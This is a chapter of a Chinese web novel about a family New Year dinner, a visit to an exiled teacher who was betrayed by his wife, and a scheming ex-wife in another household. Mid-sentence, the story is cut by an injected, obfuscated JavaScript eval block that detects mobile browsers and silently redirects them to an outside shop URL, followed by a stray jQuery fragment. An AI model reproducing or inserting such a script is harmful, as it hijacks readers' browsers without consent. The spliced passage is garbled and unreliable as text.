一转眼，年关就到了。说好了季家人一起吃年夜饭，周南枝带了三个菜还有汤，和季家人一起过年。


    红烧肉，炸肉丸，土豆炖鸡肉，还有一锅排骨玉米汤。


    其他几房虽然日子不好，今年也狠下心，把分的肉都做了。


    她带来的食盒沉甸甸的，一打开便香气四溢。


    其他几房的日子不算宽裕，其他几房纵使下了狠心，做的肉菜里也多半是配菜，肉片星星点点藏在其中。可周南枝带来的，全是实打实的大荤，肉多菜少。


    弄的几个孩子都眼热的很。家明家安还算大，大毛二毛两个小孩子眼睛都快黏上了。


    不过现在刘二妮不在，他们的脾气也收敛了不少，虽然想吃的紧，也顾忌着别人的眼光。


    几张方桌拼在一起，季父季母坐在上首，几房人围坐一圈，热热闹闹凑成了团圆饭。


    菜刚上齐，季父拿起搪瓷缸子，里面盛着自家酿的米酒，清了清嗓子：“咳咳，我说两句。老四今年终于是退伍回家了，咱们一家人总算团圆了。虽说分了家，但心没分，往后谁家有难处，大大方方提出来，能搭把手的，咱一家人绝不推辞！”


    当时分家，实属无奈。


    二房的刘二妮总想着吸老四家的血，连他的退伍工资都惦记，季父季母为了护着老四一家，才忍痛分了家。


    如今好了，老二早已和刘二妮离了婚，老三家的怀了孕，老四顺利退伍，弟媳周南枝又孝顺懂事，日子眼看着就往好里走，季父说话时，眼角眉梢都是藏不住的欣慰。


    几个兄弟听得连连点头，差点就要起身应和。


    唯有孩子们，心思全扑在菜碗里，就想着能快点吃上，红亮油润的红烧肉卧在碗底，肥肉颤巍巍裹着酱汁，看着就勾人。


    金黄酥脆的炸丸子圆滚滚的，咬下去定是外焦里嫩。土豆炖鸡肉炖得软烂，土豆吸饱了肉汁，鸡肉块块厚实。


    还有一锅排骨玉米汤，汤色清亮，排骨的鲜香混着玉米的清甜，暖乎乎地冒着热气。


    馋！嘴里口水都要流出来了，石头和小书言还好，毕竟在家里也没少吃。


    周南枝菜做的香，连大人都忍不住几次三番的撇过去，特别是李翠华现在怀着孕，嘴刁的很，馋的不行，又不好意思，只能自己扶着腰假装靠着椅子，不去看周南枝带来的菜。


    这边季父的话也说的差不多了，知道大家伙就等着这一顿呢，也不拖沓。


    “行了，动筷子吧。”


    话音刚落，一帮筷子筷子就奔向周南枝做的几道菜，筷子和筷子直打架，好在周南枝做的多，每样菜都有一盆，够这一家子都吃上几口，再加上有四样菜，大家伙吃的还是很满足的。


    大家伙都来势汹汹，石头抢不到也不生气，吃别的菜也行。


    小书言手快反应也快，夹一大筷子就放在碗里，然后再分一半给石头。


    “谢谢哥哥。”石头其实也很想吃，不过抢不到，没想到小书言自己抢也没有把石头忘了。


    小书言得意的笑：“吃吧。”


    吃饱饭，周南枝就领着孩子回家，季昭留下来陪季父季母守夜。


    两个孩子不能晚睡，周南枝怕他们没吃饱，给他们一人下了一碗白面条，一勺猪油，几块肉，还有白菜。


    吃完这些，小书言才感觉饱了，他就算再能抢，也架不住季家人太多，压根吃不上几口。


    周南枝是看出来了，半大小子吃垮老子，小书言现在就赶上她的饭量了，再过几年怕是要像季昭的饭量看齐。


    两个孩子没守到十二点，早早就睡了，周南枝一向没有守岁的习惯，打算等季昭回来就去找老师。


    今天的菜都留了一份，还有单独在空间里拿出来的，之前做好放进去的酱牛肉。


    她平时是不敢拿出来，怕季昭认出来，毕竟现在牛是劳动力，金贵的很，除非病死，否则不会卖。


    大米饭装了整整两盒，还有一瓶季父给的米酒。


    今天过年，蒋允执早早就说让她不用来，周南枝放心不下，想着送饭去，不至于让蒋允执一个人孤孤单单的，连个热乎饭也吃不上。


    周南枝猜得没错，蒋允执果真是饿着肚子就睡了。


    即便赶上过年，屋里也没点一根蜡烛，黑灯瞎火的，他就一个人蒙头蜷在被窝里。


    那被子是之前周南枝偷偷从空间里拿出来的八斤大被，蓬松厚实，暖得很。


    屋外的风刮得门板吱嘎吱嘎直响，周南枝早听习惯了，抬手一把推开门。


    “老师，老师，别睡了，起来吃饭！我给你带了酒来。”


    “酒？”这两个字像是有魔力，蒋允执瞬间没了半点迷糊，腾地一下就坐了起来，眼睛在黑暗里亮得惊人，“什么酒！快拿来我尝尝！”


    “空腹喝酒伤胃，你先垫点饭菜再说。”周南枝把食盒往炕桌上一放，打开盖子，热气混着菜香立马漫了出来。


    蒋允执这会儿只要有酒喝，倒是听话得很，拿起筷子就往嘴里扒饭。他是真饿极了，以前两三顿不吃饭都能硬扛，如今被周南枝养刁了胃口，才一天没进食，胃里就咕噜咕噜叫得直响。


    “说真的，周丫头，你这手艺是真绝，我以前那勤务兵的厨艺，可比不上你。”蒋允执一边吃，一边含糊地夸赞。


    勤务兵？周南枝夹菜的动作顿了顿，眼里闪过一丝异样。能配有勤务兵，看来老师以前的职位定然不低。


    “老师，”她斟酌着开口，“你当初是怎么被下放到这小山村的？这儿又偏又冷，冬天难熬得很，一不小心就容易冻出病来。”


    蒋允执端着酒杯的手猛地一顿，刚抿进嘴里的酒咽也不是，吐也不是。他蜡黄的脸上瞬间掠过一丝悲伤，像是被戳中了心底最深的隐痛。


    屋里静了许久，只有窗外的风声还在呜呜作响。


    半晌，蒋允执才重重地叹了口气，声音里带着几分无奈：“你这死丫头，年纪不大，好奇心倒重，我好歹一把岁数了，就不能给我留点面子？”


    说着，他抬手抹了把脸，周南枝借着窗外透进来的微光看清，他眼里竟泛起了泪花，声音也隐隐带上了哽咽。


    周南枝这才知道，蒋允执竟是被自己的妻子举报，才落得这般下场。出事后，那女人果断登报跟他断绝关系，转头就带着两个孩子改嫁他人，半点情分都没留。


    一时间，周南枝也不知道该说些什么安慰。


    她沉默片刻，试探着开口：“老师，五粮液喝不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724766|187221||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    喝？要是想喝，我让季昭想法子弄一瓶来？”


    这话一出，蒋允执的悲伤像是被按了暂停键。他飞快地用袖子擦了擦眼睛，生怕周南枝反悔似的，急忙点头：“真的？那可说好的，得是一整瓶！”


    周南枝一口答应，蒋允执脸上的阴霾瞬间散去，眉眼间都染上了轻快的笑意。


    她没多耽搁，简单寒暄两句便匆匆回了家。


    夜色渐浓，孩子们早已酣然入梦，屋内只剩一盏昏黄的油灯摇曳。周南枝挨着季昭坐下，把今日蒋允执的遭遇和约定一五一十说了，季昭听罢，指尖顿了顿，轻叹一声：“人心难测啊。”


    “可不是嘛。”周南枝点点头，又宽慰道，“不过老师向来坚韧，总有苦尽甘来的那一天。只要挺过这两年，日子总会不一样的。”


    “这么肯定？”季昭挑眉看她。


    “呃……猜的。”周南枝猛然回过神，察觉自己失言，连忙转移话题，眼神带着几分试探，“对了，你能不能帮我弄一瓶五粮液？要红星牌的那种。”


    “弄是能弄到，”季昭面露疑惑，“不过你要这酒做什么？家里也没人爱喝这个。”


    “是我今天答应老师的。”周南枝轻声道，“他如今遭了变故，也没什么别的爱好了，送这个总不算唐突。”


    “行。”季昭爽快应下，“过两天我去县城转转，看看有没有门路。”


    夜色已深，周南枝起身准备歇息，刚走到房门口，忽然想起什么，回头看向灯下的季昭，嘴角弯起一抹温和的笑：“新年快乐。”


    季昭一怔，随即也笑了，眼底映着灯火的暖光：“新年快乐。”


    ——


    刘家的土坯房里，烟气混着霉味，刘二妮正趴在炕头嚎啕大哭。


    “晦气！大过年的嚎丧呢？给谁添堵！”刘老大猛地啐了口唾沫，鞋底在地上碾了碾，满脸不耐烦。


    刘大嫂端着碗玉米糊糊凑过来，嘴角挂着幸灾乐祸的笑：“还能为啥？想着回季家呗！可人家季老二现在都开始相看人家了，她这是没盼头了，急的！”


    刘二妮听得这话，哭声更大了，心里却没半分悔意，只怨季家人不识好歹。


    想当初她在季家当媳妇时，仗着季建军老实，没少把好东西往娘家搬，哥嫂那时对她何等热络。


    如今她被季建军休了，娘家竟这般凉薄，连句软话都没有。


    “哭有屁用！”刘老太狠狠敲了敲拐杖，炕沿都跟着颤了颤，“二妮，今天你就给个准话，村东头的老王，你到底嫁不嫁？”


    “我……我不嫁！”刘二妮猛地坐起来，眼睛红肿却透着股算计的狠劲，“那老王穷得叮当响，长的还像个歪脖子树，我才不跳火坑！”


    刘大嫂撇撇嘴：“不嫁老王，你还想回季家？人家哪还容得下你？”


    “容不容得下，我说了算！”刘二妮咬着牙，眼底闪过一丝阴鸷。


    “不行，我得回季家一趟！”刘二妮一拍炕沿，眼神发直，满是蠢笨的执念。


    “我就说我想孩子了，季建军心软，说不定能让我留下来。”


    刘老大和刘大嫂对视一眼，见她还抱着这不切实际的幻想，也懒得劝，只想着要是她真能回季家，往后又能沾不少光。